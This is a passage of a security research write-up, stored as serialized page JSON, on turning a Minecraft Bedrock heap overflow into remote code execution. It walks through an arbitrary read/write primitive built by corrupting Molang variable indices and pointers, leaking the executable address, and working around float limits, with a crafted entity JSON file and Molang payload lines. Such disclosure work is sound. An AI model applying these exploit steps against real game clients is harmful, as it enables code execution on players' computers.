",{"type":23,"tag":71,"props":163466,"children":163468},{"className":163467},[],[163469],{"type":29,"value":163470},"variable.result = 0",{"type":29,"value":163472}," it:",{"type":23,"tag":2797,"props":163474,"children":163475},{},[163476,163486,163496],{"type":23,"tag":2801,"props":163477,"children":163478},{},[163479,163481],{"type":29,"value":163480},"Checks the global hashmap for ",{"type":23,"tag":71,"props":163482,"children":163484},{"className":163483},[],[163485],{"type":29,"value":1342},{"type":23,"tag":2801,"props":163487,"children":163488},{},[163489,163491],{"type":29,"value":163490},"If found, uses the global index to look up the per-entity index in ",{"type":23,"tag":71,"props":163492,"children":163494},{"className":163493},[],[163495],{"type":29,"value":163439},{"type":23,"tag":2801,"props":163497,"children":163498},{},[163499,163501],{"type":29,"value":163500},"If not found, creates a new global entry and assigns it ",{"type":23,"tag":71,"props":163502,"children":163504},{"className":163503},[],[163505],{"type":29,"value":163506},"last_index + 1",{"type":23,"tag":32,"props":163508,"children":163509},{},[163510,163512,163517,163519,163524,163526,163531,163533,163538,163540,163545,163546,163552,163554,163559],{"type":29,"value":163511},"This means the same global index for variable ",{"type":23,"tag":71,"props":163513,"children":163515},{"className":163514},[],[163516],{"type":29,"value":1342},{"type":29,"value":163518}," maps to the same position inside every entity’s ",{"type":23,"tag":71,"props":163520,"children":163522},{"className":163521},[],[163523],{"type":29,"value":163439},{"type":29,"value":163525},", but the actual ",{"type":23,"tag":71,"props":163527,"children":163529},{"className":163528},[],[163530],{"type":29,"value":162936},{"type":29,"value":163532}," for ",{"type":23,"tag":71,"props":163534,"children":163536},{"className":163535},[],[163537],{"type":29,"value":1342},{"type":29,"value":163539}," may live at different slots inside each entity's ",{"type":23,"tag":71,"props":163541,"children":163543},{"className":163542},[],[163544],{"type":29,"value":163263},{"type":29,"value":29754},{"type":23,"tag":71,"props":163547,"children":163549},{"className":163548},[],[163550],{"type":29,"value":163551},"Entity.MolangIndexMap[global_index]",{"type":29,"value":163553}," stores the per-entity index (slot) of variable ",{"type":23,"tag":71,"props":163555,"children":163557},{"className":163556},[],[163558],{"type":29,"value":1342},{"type":29,"value":557},{"type":23,"tag":32,"props":163561,"children":163562},{},[163563,163565,163570,163572,163577,163579,163584,163586,163591,163593,163599,163601,163606],{"type":29,"value":163564},"Importantly, we found that indices in the ",{"type":23,"tag":71,"props":163566,"children":163568},{"className":163567},[],[163569],{"type":29,"value":163439},{"type":29,"value":163571}," are trusted and the client does not validate that a per-entity index actually lies within the bounds of that entity’s ",{"type":23,"tag":71,"props":163573,"children":163575},{"className":163574},[],[163576],{"type":29,"value":163263},{"type":29,"value":163578},". This means that if we overwrite the index of variable ",{"type":23,"tag":71,"props":163580,"children":163582},{"className":163581},[],[163583],{"type":29,"value":1342},{"type":29,"value":163585}," (an example, it can be any variable) with the chunk overlap and make it out-of-bounds for that entity’s ",{"type":23,"tag":71,"props":163587,"children":163589},{"className":163588},[],[163590],{"type":29,"value":163263},{"type":29,"value":163592},", we could read from and write to ",{"type":23,"tag":71,"props":163594,"children":163596},{"className":163595},[],[163597],{"type":29,"value":163598},"address + 0x38",{"type":29,"value":163600}," through ",{"type":23,"tag":71,"props":163602,"children":163604},{"className":163603},[],[163605],{"type":29,"value":163431},{"type":29,"value":557},{"type":23,"tag":923,"props":163608,"children":163610},{"id":163609},"building-a-molang-arbitrary-rw-primitive",[163611],{"type":29,"value":163612},"Building a Molang Arbitrary R/W Primitive",{"type":23,"tag":32,"props":163614,"children":163615},{},[163616,163618,163623,163625,163630],{"type":29,"value":163617},"We needed some pointer inside a heap-sprayable object that we could use to build an arbitrary read/write primitive in Molang. Eventually, we came up with the thought of using internal pointers of ",{"type":23,"tag":71,"props":163619,"children":163621},{"className":163620},[],[163622],{"type":29,"value":163293},{"type":29,"value":163624}," - specifically, of ",{"type":23,"tag":71,"props":163626,"children":163628},{"className":163627},[],[163629],{"type":29,"value":163263},{"type":29,"value":163631}," vector.",{"type":23,"tag":32,"props":163633,"children":163634},{},[163635,163637,163642,163644,163649,163650,163655,163657,163662],{"type":29,"value":163636},"Because every entity object is heap-allocated and contains a ",{"type":23,"tag":71,"props":163638,"children":163640},{"className":163639},[],[163641],{"type":29,"value":163263},{"type":29,"value":163643}," vector, we realised we might be able to overwrite a variable index so it reads the ",{"type":23,"tag":71,"props":163645,"children":163647},{"className":163646},[],[163648],{"type":29,"value":160459},{"type":29,"value":66975},{"type":23,"tag":71,"props":163651,"children":163653},{"className":163652},[],[163654],{"type":29,"value":163263},{"type":29,"value":163656}," vector belonging to an entity object placed just next the ",{"type":23,"tag":71,"props":163658,"children":163660},{"className":163659},[],[163661],{"type":29,"value":163263},{"type":29,"value":163663}," allocated buffer.",{"type":23,"tag":64,"props":163665,"children":163667},{"code":163666},"      +-------------+ \u003C--+                   \n+---> | variable.a  |    |                   \n|     +-------------+    |                   \n|     | variable.b  |    |                   \n|     +-------------+    +- MolangVariableMap allocated buffer\n|     |    . . .    |    |                   \n|     +-------------+    |                   \n|     | variable.f  |    |                   \n|     +-------------+ \u003C--+--+                \n|     |             |       |                \n|     |             |       |                \n|     |             |       |                \n|     |             |       |                \n|     +------+------+       +- Entity Object \n+-----+ buf  | len  |       |                \n      +------+------+       |                \n      | cap  |      |       |                \n      +------+      |       |                \n      +-------------+ \u003C-----+                                       \n",[163668],{"type":23,"tag":71,"props":163669,"children":163670},{"__ignoreMap":7},[163671],{"type":29,"value":163666},{"type":23,"tag":32,"props":163673,"children":163674},{},[163675,163677,163682,163684,163690,163692,163697,163698,163704,163705,163710,163712,163717,163719,163724,163726,163731,163733,163738,163740,163745,163747,163752,163754,163760,163762,163767,163769,163774],{"type":29,"value":163676},"In the scenario above, the ",{"type":23,"tag":71,"props":163678,"children":163680},{"className":163679},[],[163681],{"type":29,"value":163439},{"type":29,"value":163683}," would map ",{"type":23,"tag":71,"props":163685,"children":163687},{"className":163686},[],[163688],{"type":29,"value":163689},"variable.a",{"type":29,"value":163691}," -> index ",{"type":23,"tag":71,"props":163693,"children":163695},{"className":163694},[],[163696],{"type":29,"value":648},{"type":29,"value":611},{"type":23,"tag":71,"props":163699,"children":163701},{"className":163700},[],[163702],{"type":29,"value":163703},"variable.b",{"type":29,"value":163691},{"type":23,"tag":71,"props":163706,"children":163708},{"className":163707},[],[163709],{"type":29,"value":7867},{"type":29,"value":163711},", and so on. If we overwrite the index for ",{"type":23,"tag":71,"props":163713,"children":163715},{"className":163714},[],[163716],{"type":29,"value":163689},{"type":29,"value":163718}," with a value that is out-of-bounds for the ",{"type":23,"tag":71,"props":163720,"children":163722},{"className":163721},[],[163723],{"type":29,"value":163263},{"type":29,"value":163725},", it can instead index the ",{"type":23,"tag":71,"props":163727,"children":163729},{"className":163728},[],[163730],{"type":29,"value":160459},{"type":29,"value":163732}," field of the entity object above. Reading ",{"type":23,"tag":71,"props":163734,"children":163736},{"className":163735},[],[163737],{"type":29,"value":163689},{"type":29,"value":163739}," will then return the pointer stored at offset ",{"type":23,"tag":71,"props":163741,"children":163743},{"className":163742},[],[163744],{"type":29,"value":163197},{"type":29,"value":163746}," from the start of the ",{"type":23,"tag":71,"props":163748,"children":163750},{"className":163749},[],[163751],{"type":29,"value":163263},{"type":29,"value":163753}," (which in this diagram corresponds to ",{"type":23,"tag":71,"props":163755,"children":163757},{"className":163756},[],[163758],{"type":29,"value":163759},"variable.f",{"type":29,"value":163761},"), and writing to ",{"type":23,"tag":71,"props":163763,"children":163765},{"className":163764},[],[163766],{"type":29,"value":163689},{"type":29,"value":163768}," will overwrite that pointer - corrupting ",{"type":23,"tag":71,"props":163770,"children":163772},{"className":163771},[],[163773],{"type":29,"value":163759},{"type":29,"value":557},{"type":23,"tag":32,"props":163776,"children":163777},{},[163778,163780,163785,163786,163792,163794,163799,163801,163807,163809,163814,163816,163821,163823,163829,163831,163837,163839,163844],{"type":29,"value":163779},"To leak the address of the Minecraft executable we could increment ",{"type":23,"tag":71,"props":163781,"children":163783},{"className":163782},[],[163784],{"type":29,"value":163689},{"type":29,"value":183},{"type":23,"tag":71,"props":163787,"children":163789},{"className":163788},[],[163790],{"type":29,"value":163791},"variable.a += 8",{"type":29,"value":163793},"), which advances the pointer used for ",{"type":23,"tag":71,"props":163795,"children":163797},{"className":163796},[],[163798],{"type":29,"value":163759},{"type":29,"value":163800}," by 8 bytes. The Molang script would repeat this until it finds a vtable pointer in the heap. At that point we can write arbitrary values into writable regions of the Minecraft process by setting ",{"type":23,"tag":71,"props":163802,"children":163804},{"className":163803},[],[163805],{"type":29,"value":163806},"variable.a = variable.exe_leak + \u003Coffset>",{"type":29,"value":163808}," - this updates the ",{"type":23,"tag":71,"props":163810,"children":163812},{"className":163811},[],[163813],{"type":29,"value":163759},{"type":29,"value":163815}," pointer to our chosen address, and writing to ",{"type":23,"tag":71,"props":163817,"children":163819},{"className":163818},[],[163820],{"type":29,"value":163759},{"type":29,"value":163822},", for example ",{"type":23,"tag":71,"props":163824,"children":163826},{"className":163825},[],[163827],{"type":29,"value":163828},"variable.f = 1337",{"type":29,"value":163830},", writes the value ",{"type":23,"tag":71,"props":163832,"children":163834},{"className":163833},[],[163835],{"type":29,"value":163836},"1337",{"type":29,"value":163838}," to offset ",{"type":23,"tag":71,"props":163840,"children":163842},{"className":163841},[],[163843],{"type":29,"value":163197},{"type":29,"value":163845}," from that calculated address.",{"type":23,"tag":30116,"props":163847,"children":163849},{"id":163848},"testing-the-idea",[163850],{"type":29,"value":163851},"Testing the Idea",{"type":23,"tag":32,"props":163853,"children":163854},{},[163855,163857,163862,163864,163869,163871,163876],{"type":29,"value":163856},"We tested the idea by manually adding a pointer to the start of ",{"type":23,"tag":71,"props":163858,"children":163860},{"className":163859},[],[163861],{"type":29,"value":163263},{"type":29,"value":163863}," and modifying the index of a variable so that it indexed this out-of-bounds pointer. It ",{"type":23,"tag":9690,"props":163865,"children":163866},{},[163867],{"type":29,"value":163868},"almost",{"type":29,"value":163870}," worked - below is the state of the ",{"type":23,"tag":71,"props":163872,"children":163874},{"className":163873},[],[163875],{"type":29,"value":163263},{"type":29,"value":163877},"'s allocated buffer before the Molang script executes:",{"type":23,"tag":32,"props":163879,"children":163880},{},[163881],{"type":23,"tag":15189,"props":163882,"children":163884},{"alt":61763,"src":163883},"/posts/minecraft-heap-overflow-to-rce/image9.png",[],{"type":23,"tag":32,"props":163886,"children":163887},{},[163888],{"type":29,"value":163889},"And this is after execution:",{"type":23,"tag":32,"props":163891,"children":163892},{},[163893],{"type":23,"tag":15189,"props":163894,"children":163896},{"alt":61763,"src":163895},"/posts/minecraft-heap-overflow-to-rce/image10.png",[],{"type":23,"tag":32,"props":163898,"children":163899},{},[163900],{"type":29,"value":163901},"For reference, this is what the relevant entity json file containing our Molang looks like:",{"type":23,"tag":64,"props":163903,"children":163905},{"code":163904,"language":45191,"meta":7,"className":45189,"style":7},"{\n  \"format_version\": \"1.10.0\",\n  \"minecraft:client_entity\": {\n    \"description\": {\n      \"identifier\": \"minecraft:leash_knot\",\n\n      [...]\n        \n      \"scripts\": {\n        \"initialize\": [\n          \"variable.a = 0;\",\n          \"variable.b = 0;\",\n          \"variable.c = 0;\",\n          [...]\n        ],\n        \"pre_animation\": [\n          \"variable.a = 2.310732e-27;\"\n        ]\n      },\n    }\n  }\n}\n",[163906],{"type":23,"tag":71,"props":163907,"children":163908},{"__ignoreMap":7},[163909,163916,163937,163949,163961,163982,163989,163996,164003,164015,164028,164040,164052,164064,164080,164087,164099,164107,164115,164122,164129,164136],{"type":23,"tag":75,"props":163910,"children":163911},{"class":77,"line":78},[163912],{"type":23,"tag":75,"props":163913,"children":163914},{"style":94},[163915],{"type":29,"value":2549},{"type":23,"tag":75,"props":163917,"children":163918},{"class":77,"line":100},[163919,163924,163928,163933],{"type":23,"tag":75,"props":163920,"children":163921},{"style":110},[163922],{"type":29,"value":163923},"  \"format_version\"",{"type":23,"tag":75,"props":163925,"children":163926},{"style":94},[163927],{"type":29,"value":863},{"type":23,"tag":75,"props":163929,"children":163930},{"style":1266},[163931],{"type":29,"value":163932},"\"1.10.0\"",{"type":23,"tag":75,"props":163934,"children":163935},{"style":94},[163936],{"type":29,"value":118},{"type":23,"tag":75,"props":163938,"children":163939},{"class":77,"line":121},[163940,163945],{"type":23,"tag":75,"props":163941,"children":163942},{"style":110},[163943],{"type":29,"value":163944},"  \"minecraft:client_entity\"",{"type":23,"tag":75,"props":163946,"children":163947},{"style":94},[163948],{"type":29,"value":48214},{"type":23,"tag":75,"props":163950,"children":163951},{"class":77,"line":138},[163952,163957],{"type":23,"tag":75,"props":163953,"children":163954},{"style":110},[163955],{"type":29,"value":163956},"    \"description\"",{"type":23,"tag":75,"props":163958,"children":163959},{"style":94},[163960],{"type":29,"value":48214},{"type":23,"tag":75,"props":163962,"children":163963},{"class":77,"line":161},[163964,163969,163973,163978],{"type":23,"tag":75,"props":163965,"children":163966},{"style":110},[163967],{"type":29,"value":163968},"      \"identifier\"",{"type":23,"tag":75,"props":163970,"children":163971},{"style":94},[163972],{"type":29,"value":863},{"type":23,"tag":75,"props":163974,"children":163975},{"style":1266},[163976],{"type":29,"value":163977},"\"minecraft:leash_knot\"",{"type":23,"tag":75,"props":163979,"children":163980},{"style":94},[163981],{"type":29,"value":118},{"type":23,"tag":75,"props":163983,"children":163984},{"class":77,"line":196},[163985],{"type":23,"tag":75,"props":163986,"children":163987},{"emptyLinePlaceholder":15},[163988],{"type":29,"value":276},{"type":23,"tag":75,"props":163990,"children":163991},{"class":77,"line":220},[163992],{"type":23,"tag":75,"props":163993,"children":163994},{"style":33621},[163995],{"type":29,"value":137776},{"type":23,"tag":75,"props":163997,"children":163998},{"class":77,"line":248},[163999],{"type":23,"tag":75,"props":164000,"children":164001},{"style":94},[164002],{"type":29,"value":163086},{"type":23,"tag":75,"props":164004,"children":164005},{"class":77,"line":270},[164006,164011],{"type":23,"tag":75,"props":164007,"children":164008},{"style":110},[164009],{"type":29,"value":164010},"      \"scripts\"",{"type":23,"tag":75,"props":164012,"children":164013},{"style":94},[164014],{"type":29,"value":48214},{"type":23,"tag":75,"props":164016,"children":164017},{"class":77,"line":279},[164018,164023],{"type":23,"tag":75,"props":164019,"children":164020},{"style":110},[164021],{"type":29,"value":164022},"        \"initialize\"",{"type":23,"tag":75,"props":164024,"children":164025},{"style":94},[164026],{"type":29,"value":164027},": [\n",{"type":23,"tag":75,"props":164029,"children":164030},{"class":77,"line":303},[164031,164036],{"type":23,"tag":75,"props":164032,"children":164033},{"style":1266},[164034],{"type":29,"value":164035},"          \"variable.a = 0;\"",{"type":23,"tag":75,"props":164037,"children":164038},{"style":94},[164039],{"type":29,"value":118},{"type":23,"tag":75,"props":164041,"children":164042},{"class":77,"line":322},[164043,164048],{"type":23,"tag":75,"props":164044,"children":164045},{"style":1266},[164046],{"type":29,"value":164047},"          \"variable.b = 0;\"",{"type":23,"tag":75,"props":164049,"children":164050},{"style":94},[164051],{"type":29,"value":118},{"type":23,"tag":75,"props":164053,"children":164054},{"class":77,"line":340},[164055,164060],{"type":23,"tag":75,"props":164056,"children":164057},{"style":1266},[164058],{"type":29,"value":164059},"          \"variable.c = 0;\"",{"type":23,"tag":75,"props":164061,"children":164062},{"style":94},[164063],{"type":29,"value":118},{"type":23,"tag":75,"props":164065,"children":164066},{"class":77,"line":349},[164067,164072,164076],{"type":23,"tag":75,"props":164068,"children":164069},{"style":94},[164070],{"type":29,"value":164071},"          [",{"type":23,"tag":75,"props":164073,"children":164074},{"style":33621},[164075],{"type":29,"value":9174},{"type":23,"tag":75,"props":164077,"children":164078},{"style":94},[164079],{"type":29,"value":823},{"type":23,"tag":75,"props":164081,"children":164082},{"class":77,"line":363},[164083],{"type":23,"tag":75,"props":164084,"children":164085},{"style":94},[164086],{"type":29,"value":54838},{"type":23,"tag":75,"props":164088,"children":164089},{"class":77,"line":656},[164090,164095],{"type":23,"tag":75,"props":164091,"children":164092},{"style":110},[164093],{"type":29,"value":164094},"        \"pre_animation\"",{"type":23,"tag":75,"props":164096,"children":164097},{"style":94},[164098],{"type":29,"value":164027},{"type":23,"tag":75,"props":164100,"children":164101},{"class":77,"line":705},[164102],{"type":23,"tag":75,"props":164103,"children":164104},{"style":1266},[164105],{"type":29,"value":164106},"          \"variable.a = 2.310732e-27;\"\n",{"type":23,"tag":75,"props":164108,"children":164109},{"class":77,"line":787},[164110],{"type":23,"tag":75,"props":164111,"children":164112},{"style":94},[164113],{"type":29,"value":164114},"        ]\n",{"type":23,"tag":75,"props":164116,"children":164117},{"class":77,"line":826},[164118],{"type":23,"tag":75,"props":164119,"children":164120},{"style":94},[164121],{"type":29,"value":48391},{"type":23,"tag":75,"props":164123,"children":164124},{"class":77,"line":834},[164125],{"type":23,"tag":75,"props":164126,"children":164127},{"style":94},[164128],{"type":29,"value":346},{"type":23,"tag":75,"props":164130,"children":164131},{"class":77,"line":881},[164132],{"type":23,"tag":75,"props":164133,"children":164134},{"style":94},[164135],{"type":29,"value":17141},{"type":23,"tag":75,"props":164137,"children":164138},{"class":77,"line":3355},[164139],{"type":23,"tag":75,"props":164140,"children":164141},{"style":94},[164142],{"type":29,"value":369},{"type":23,"tag":32,"props":164144,"children":164145},{},[164146,164148,164153,164155,164160,164162,164167],{"type":29,"value":164147},"As shown, the pointer of a variable at offset ",{"type":23,"tag":71,"props":164149,"children":164151},{"className":164150},[],[164152],{"type":29,"value":163197},{"type":29,"value":164154}," was modified and the core concept works. During ",{"type":23,"tag":71,"props":164156,"children":164158},{"className":164157},[],[164159],{"type":29,"value":163155},{"type":29,"value":164161}," copy, pointers of some other variables above offset ",{"type":23,"tag":71,"props":164163,"children":164165},{"className":164164},[],[164166],{"type":29,"value":163197},{"type":29,"value":164168}," were removed, but this is fine as we control these variables and can simply not update them during execution. However, we discovered other issues with this approach.",{"type":23,"tag":32,"props":164170,"children":164171},{},[164172],{"type":29,"value":164173},"As mentioned earlier, the only number type in Molang is a 32-bit float, which causes two major problems:",{"type":23,"tag":27910,"props":164175,"children":164176},{},[164177,164190],{"type":23,"tag":2801,"props":164178,"children":164179},{},[164180,164182,164188],{"type":29,"value":164181},"The pointer increment is inconsistent because of ASLR. If the lower 32 bits of the address are larger than ",{"type":23,"tag":71,"props":164183,"children":164185},{"className":164184},[],[164186],{"type":29,"value":164187},"FLT_MAX",{"type":29,"value":164189},", the value becomes an invalid float causing the increment operation to fail.",{"type":23,"tag":2801,"props":164191,"children":164192},{},[164193,164195,164200,164202,164207,164208,164213,164215,164220],{"type":29,"value":164194},"As noted before, during assignment, ",{"type":23,"tag":71,"props":164196,"children":164198},{"className":164197},[],[164199],{"type":29,"value":163155},{"type":29,"value":164201}," fields are copied, and the ",{"type":23,"tag":71,"props":164203,"children":164205},{"className":164204},[],[164206],{"type":29,"value":1672},{"type":29,"value":163245},{"type":23,"tag":71,"props":164209,"children":164211},{"className":164210},[],[164212],{"type":29,"value":66818},{"type":29,"value":164214},". Since our source ",{"type":23,"tag":71,"props":164216,"children":164218},{"className":164217},[],[164219],{"type":29,"value":163155},{"type":29,"value":164221}," (calculation rvalue) only has the lower 32 bits populated (due to the 32-bit float type), the upper 32 bits of the destination address are always erased.",{"type":23,"tag":32,"props":164223,"children":164224},{},[164225],{"type":29,"value":164226},"Because of these issues, this idea alone wouldn’t work. We needed to either adjust our approach or come up with an entirely new one.",{"type":23,"tag":30116,"props":164228,"children":164230},{"id":164229},"expanding-the-idea",[164231],{"type":29,"value":164232},"Expanding the Idea",{"type":23,"tag":32,"props":164234,"children":164235},{},[164236,164238,164243,164245,164250,164251,164256,164258,164263],{"type":29,"value":164237},"As mentioned earlier, the ",{"type":23,"tag":71,"props":164239,"children":164241},{"className":164240},[],[164242],{"type":29,"value":386},{"type":29,"value":164244}," field of ",{"type":23,"tag":71,"props":164246,"children":164248},{"className":164247},[],[164249],{"type":29,"value":163155},{"type":29,"value":26671},{"type":23,"tag":71,"props":164252,"children":164254},{"className":164253},[],[164255],{"type":29,"value":69117},{"type":29,"value":164257},". During assignment, the upper 32 bits are not touched and therefore remain uninitialized. This can be observed in the debugger screenshot above - the 32 bits directly below the ",{"type":23,"tag":71,"props":164259,"children":164261},{"className":164260},[],[164262],{"type":29,"value":1672},{"type":29,"value":164264}," field remain unchanged before and after Molang execution.",{"type":23,"tag":32,"props":164266,"children":164267},{},[164268,164270,164275],{"type":29,"value":164269},"Because of this, we thought that we could corrupt two variables instead of just one. The plan was to modify the lower 32 bits of a variable pointer using one corrupted variable, and then restore the upper 32 bits with another corrupted variable pointing to the ",{"type":23,"tag":71,"props":164271,"children":164273},{"className":164272},[],[164274],{"type":29,"value":163263},{"type":29,"value":164276},"’s allocated buffer + 4.",{"type":23,"tag":32,"props":164278,"children":164279},{},[164280,164282,164287,164289,164294,164296,164301,164302,164308],{"type":29,"value":164281},"In the example below, ",{"type":23,"tag":71,"props":164283,"children":164285},{"className":164284},[],[164286],{"type":29,"value":163689},{"type":29,"value":164288}," points to ",{"type":23,"tag":71,"props":164290,"children":164292},{"className":164291},[],[164293],{"type":29,"value":163263},{"type":29,"value":164295},", while ",{"type":23,"tag":71,"props":164297,"children":164299},{"className":164298},[],[164300],{"type":29,"value":163703},{"type":29,"value":164288},{"type":23,"tag":71,"props":164303,"children":164305},{"className":164304},[],[164306],{"type":29,"value":164307},"MolangVariableMap + 4",{"type":29,"value":1018},{"type":23,"tag":64,"props":164310,"children":164312},{"code":164311},"                         variable.f pointer     \n                                 |              \n                   +-------------+-------------+\n                   v                           v\n                                                \n                   +-------------+-------------+\n                   | a0 bb cc dd | 80 1c 00 00 |\n                   +-------------+-------------+\n                    ^             ^             \n+-------------+     |             |             \n| variable.a  +-----+             |             \n+-------------+                   |             \n| variable.b  +-------------------+                                     \n+-------------+                                 \n|    . . .    |                                 \n",[164313],{"type":23,"tag":71,"props":164314,"children":164315},{"__ignoreMap":7},[164316],{"type":29,"value":164311},{"type":23,"tag":32,"props":164318,"children":164319},{},[164320,164322,164327,164328,164333,164335,164340,164342,164347,164349,164354],{"type":29,"value":164321},"Here, the ",{"type":23,"tag":71,"props":164323,"children":164325},{"className":164324},[],[164326],{"type":29,"value":1672},{"type":29,"value":164244},{"type":23,"tag":71,"props":164329,"children":164331},{"className":164330},[],[164332],{"type":29,"value":163689},{"type":29,"value":164334}," starts at the lower 32 bits of the ",{"type":23,"tag":71,"props":164336,"children":164338},{"className":164337},[],[164339],{"type":29,"value":163759},{"type":29,"value":164341}," pointer, while ",{"type":23,"tag":71,"props":164343,"children":164345},{"className":164344},[],[164346],{"type":29,"value":163703},{"type":29,"value":164348}," starts at the upper 32 bits. This means we can store the upper 32 bits of the ",{"type":23,"tag":71,"props":164350,"children":164352},{"className":164351},[],[164353],{"type":29,"value":163759},{"type":29,"value":164355}," pointer in a separate variable:",{"type":23,"tag":64,"props":164357,"children":164359},{"code":164358},"variable.saved_upper_32 = variable.b;\n",[164360],{"type":23,"tag":71,"props":164361,"children":164362},{"__ignoreMap":7},[164363],{"type":29,"value":164358},{"type":23,"tag":32,"props":164365,"children":164366},{},[164367],{"type":29,"value":164368},"Then we can modify the lower 32 bits of the pointer:",{"type":23,"tag":64,"props":164370,"children":164372},{"code":164371},"variable.a = variable.a + itof(0x8);\n",[164373],{"type":23,"tag":71,"props":164374,"children":164375},{"__ignoreMap":7},[164376],{"type":29,"value":164371},{"type":23,"tag":32,"props":164378,"children":164379},{},[164380],{"type":29,"value":164381},"After this operation, the upper 32 bits are cleared while the lower bits are adjusted:",{"type":23,"tag":64,"props":164383,"children":164385},{"code":164384},"                   +-------------+-------------+\n                   | a8 bb cc dd | 00 00 00 00 |\n                   +-------------+-------------+\n                    ^             ^             \n+-------------+     |             |             \n| variable.a  +-----+             |             \n+-------------+                   |             \n| variable.b  +-------------------+                                     \n+-------------+                                 \n|    . . .    |                                 \n",[164386],{"type":23,"tag":71,"props":164387,"children":164388},{"__ignoreMap":7},[164389],{"type":29,"value":164384},{"type":23,"tag":32,"props":164391,"children":164392},{},[164393,164395,164400],{"type":29,"value":164394},"Since the 32 bits directly below the ",{"type":23,"tag":71,"props":164396,"children":164398},{"className":164397},[],[164399],{"type":29,"value":1672},{"type":29,"value":164401}," field remain untouched during assignment, we can simply restore the upper bits:",{"type":23,"tag":64,"props":164403,"children":164405},{"code":164404},"variable.b = variable.saved_upper_32;\n",[164406],{"type":23,"tag":71,"props":164407,"children":164408},{"__ignoreMap":7},[164409],{"type":29,"value":164404},{"type":23,"tag":32,"props":164411,"children":164412},{},[164413,164415,164420],{"type":29,"value":164414},"Now ",{"type":23,"tag":71,"props":164416,"children":164418},{"className":164417},[],[164419],{"type":29,"value":163759},{"type":29,"value":164421}," pointer is restored and we've incremented it by 8, achieving the desired state:",{"type":23,"tag":64,"props":164423,"children":164425},{"code":164424},"                   +-------------+-------------+\n                   | a8 bb cc dd | 80 1c 00 00 |\n                   +-------------+-------------+\n                    ^             ^             \n+-------------+     |             |             \n| variable.a  +-----+             |             \n+-------------+                   |             \n| variable.b  +-------------------+                                    \n+-------------+                                 \n|    . . .    |                                 \n",[164426],{"type":23,"tag":71,"props":164427,"children":164428},{"__ignoreMap":7},[164429],{"type":29,"value":164424},{"type":23,"tag":32,"props":164431,"children":164432},{},[164433,164435,164440],{"type":29,"value":164434},"This bypasses the issue of the upper 32 bits being cleared, but raises another question: how do we find a pointer to ",{"type":23,"tag":71,"props":164436,"children":164438},{"className":164437},[],[164439],{"type":29,"value":164307},{"type":29,"value":164441}," on the heap?",{"type":23,"tag":32,"props":164443,"children":164444},{},[164445,164447,164452,164454,164460],{"type":29,"value":164446},"Additionally, adding 8 to ",{"type":23,"tag":71,"props":164448,"children":164450},{"className":164449},[],[164451],{"type":29,"value":163689},{"type":29,"value":164453}," in the example above wouldn’t work because ",{"type":23,"tag":71,"props":164455,"children":164457},{"className":164456},[],[164458],{"type":29,"value":164459},"0xddccbba0",{"type":29,"value":164461}," is not a valid float. So the first issue still remains unresolved.",{"type":23,"tag":30116,"props":164463,"children":164465},{"id":164464},"the-final-approach",[164466],{"type":29,"value":164467},"The Final Approach",{"type":23,"tag":32,"props":164469,"children":164470},{},[164471,164473,164478,164480,164486],{"type":29,"value":164472},"We realized that instead of having the second pointer at ",{"type":23,"tag":71,"props":164474,"children":164476},{"className":164475},[],[164477],{"type":29,"value":164307},{"type":29,"value":164479},", we could instead have it at ",{"type":23,"tag":71,"props":164481,"children":164483},{"className":164482},[],[164484],{"type":29,"value":164485},"MolangVariableMap + 2",{"type":29,"value":164487},", which would resolve both of our issues.",{"type":23,"tag":32,"props":164489,"children":164490},{},[164491,164493,164498,164499,164504],{"type":29,"value":164492},"Let’s revisit the previous example, but this time ",{"type":23,"tag":71,"props":164494,"children":164496},{"className":164495},[],[164497],{"type":29,"value":163703},{"type":29,"value":164288},{"type":23,"tag":71,"props":164500,"children":164502},{"className":164501},[],[164503],{"type":29,"value":164485},{"type":29,"value":1018},{"type":23,"tag":64,"props":164506,"children":164508},{"code":164507},"                   +-------------+-------------+\n                   | a0 bb cc dd | 80 1c 00 00 |\n                   +-------------+-------------+\n                    ^     ^                     \n+-------------+     |     |                     \n| variable.a  +-----+     |                     \n+-------------+           |                     \n| variable.b  +-----------+                                             \n+-------------+                                 \n|    . . .    |                                 \n",[164509],{"type":23,"tag":71,"props":164510,"children":164511},{"__ignoreMap":7},[164512],{"type":29,"value":164507},{"type":23,"tag":32,"props":164514,"children":164515},{},[164516,164518,164523],{"type":29,"value":164517},"With this setup, we can calculate any address relative to ",{"type":23,"tag":71,"props":164519,"children":164521},{"className":164520},[],[164522],{"type":29,"value":163759},{"type":29,"value":164524}," by first saving the upper 48 bits of the address:",{"type":23,"tag":64,"props":164526,"children":164528},{"code":164527},"variable.saved_upper_48 = variable.b;\n",[164529],{"type":23,"tag":71,"props":164530,"children":164531},{"__ignoreMap":7},[164532],{"type":29,"value":164527},{"type":23,"tag":32,"props":164534,"children":164535},{},[164536,164537,164543,164545,164551],{"type":29,"value":140165},{"type":23,"tag":71,"props":164538,"children":164540},{"className":164539},[],[164541],{"type":29,"value":164542},"variable.saved_upper_48",{"type":29,"value":164544}," holds the value ",{"type":23,"tag":71,"props":164546,"children":164548},{"className":164547},[],[164549],{"type":29,"value":164550},"0x1c80ddcc",{"type":29,"value":557},{"type":23,"tag":32,"props":164553,"children":164554},{},[164555],{"type":29,"value":164556},"To fix our earlier problem of being unable to increment invalid float values, we can simply clear the upper 48 bits:",{"type":23,"tag":64,"props":164558,"children":164560},{"code":164559},"variable.b = 0;\n",[164561],{"type":23,"tag":71,"props":164562,"children":164563},{"__ignoreMap":7},[164564],{"type":29,"value":164559},{"type":23,"tag":32,"props":164566,"children":164567},{},[164568],{"type":29,"value":164569},"Resulting in the following state:",{"type":23,"tag":64,"props":164571,"children":164573},{"code":164572},"                   +-------------+-------------+\n                   | a0 bb 00 00 | 00 00 00 00 |\n                   +-------------+-------------+\n                    ^     ^                     \n+-------------+     |     |                     \n| variable.a  +-----+     |                     \n+-------------+           |                     \n| variable.b  +-----------+                                            \n+-------------+                                 \n|    . . .    |                                 \n",[164574],{"type":23,"tag":71,"props":164575,"children":164576},{"__ignoreMap":7},[164577],{"type":29,"value":164572},{"type":23,"tag":32,"props":164579,"children":164580},{},[164581,164583,164588,164590,164596,164598,164603],{"type":29,"value":164582},"Now, the value of ",{"type":23,"tag":71,"props":164584,"children":164586},{"className":164585},[],[164587],{"type":29,"value":163689},{"type":29,"value":164589}," only spans 16 bits (",{"type":23,"tag":71,"props":164591,"children":164593},{"className":164592},[],[164594],{"type":29,"value":164595},"0xbba0",{"type":29,"value":164597}," specifically), which is always a valid float since it’s far below 